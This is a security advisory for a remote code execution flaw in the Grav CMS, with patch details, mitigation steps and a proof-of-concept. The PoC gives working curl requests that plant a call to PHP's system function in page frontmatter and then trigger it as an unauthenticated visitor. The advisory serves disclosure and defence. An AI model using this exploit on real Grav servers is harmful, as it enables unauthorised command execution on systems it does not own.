Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()GHSA-fj2p-qj2f-74v5
Fix: getgrav/grav@acffa34GHSA-fj2p-qj2f-74v5 is a Code Injection vulnerability in getgrav/grav. A fix is available for getgrav/grav — see the affected versions and patch details below.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
getgrav/gravReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An account with the admin.pages permission (or api.pages.write) can run shell
commands on the server. The command executes whenever anyone — including an
unauthenticated visitor — opens the page.
Details
Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes
a Class::method string and its arguments straight to call_user_func_array()
with no allowlist. The form plugin runs page frontmatter through this path
(form/classes/Form.php:432), so a page author controls the input.
Grav\Common\Utils::arrayFilterRecursive($source,$fn)
(system/src/Grav/Common/Utils.php:1169) is a public static that calls
$fn($key,$value), so passing system as $fn and a command as the array key
runs the command.
PoC
Placeholders: <BASE_URL> the site; <SESSION_COOKIE> an admin session cookie
for an account with admin.pages; <ADMIN_NONCE> the admin-nonce on any admin
page (window.GravAdmin.config.admin_nonce).
Save a "form" page whose field carries the callable directive:
curl '<BASE_URL>/admin/pages/rcepoc' \
-H 'Cookie: <SESSION_COOKIE>' \
--data-urlencode 'task=save' \
--data-urlencode 'admin-nonce=<ADMIN_NONCE>' \
--data-urlencode 'data[folder]=rcepoc' \
--data-urlencode 'data[name]=form' \
--data-urlencode 'data[title]=x' \
--data-urlencode 'data[content]=hi' \
--data-urlencode "data[frontmatter]=forms:
x:
fields:
y:
type: text
data-opts@:
- 'Grav\Common\Utils::arrayFilterRecursive'
- { 'echo GRAV-RCE-OK; id': 'x' }
- system"
Trigger it as an unauthenticated visitor:
curl '<BASE_URL>/rcepoc'
Success check: the GET response body begins with GRAV-RCE-OK followed by the
web-server user's id output (a line starting uid=...) — the command ran
during the unauthenticated request and its output is reflected in the response.
Impact
Shell command execution as the web-server user, triggered by any visit to the
page, plantable by any holder of admin.pages or api.pages.write.
Trust boundary: crossed. admin.pages (or api.pages.write) grants page
editing, not code execution; the holder plants the payload and the code runs at
request time on any later view of the page.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | getgrav/grav | all versions | 2.0.7composer require getgrav/grav:^2.0.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update getgrav/grav to 2.0.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fj2p-qj2f-74v5 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is GHSA-fj2p-qj2f-74v5 in your dependencies?
Find it across Packagist, including transitive dependencies.